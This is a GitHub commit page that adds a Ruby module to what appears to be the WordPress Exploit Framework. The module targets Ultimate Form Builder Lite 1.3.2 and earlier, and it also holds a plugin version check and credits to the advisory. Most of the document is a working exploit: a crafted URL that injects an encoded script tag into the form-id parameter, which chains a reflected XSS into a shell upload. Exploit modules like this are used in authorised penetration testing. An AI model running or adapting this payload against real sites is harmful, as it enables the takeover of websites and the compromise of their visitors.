Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 882747f

Browse files
committed
Add Ultimate Form Builder Lite <= 1.3.2 reflected XSS shell upload
1 parent a3c490b commit 882747f

File tree

1 file changed

+28
-0
lines changed

1 file changed

+28
-0
lines changed
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
class Wpxf::Exploit::UltimateFormBuilderLiteReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Ultimate Form Builder Lite <= 1.3.2 Reflected XSS Shell Upload',
9+
author: [
10+
'DefenseCode <www.defensecode.com>', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8798'],
15+
['URL', 'http://www.defensecode.com/advisories/DC-2017-01-027_WordPress_Ultimate_Form_Builder_Plugin_Advisory.pdf']
16+
],
17+
date: 'Apr 14 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('ultimate-form-builder-lite', '1.3.3')
23+
end
24+
25+
def url_with_xss
26+
"#{full_uri}?ufbl_form_preview=true&ufbl_form_id=1%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3Ca%20href%3D%22"
27+
end
28+
end

0 commit comments

Comments
 (0)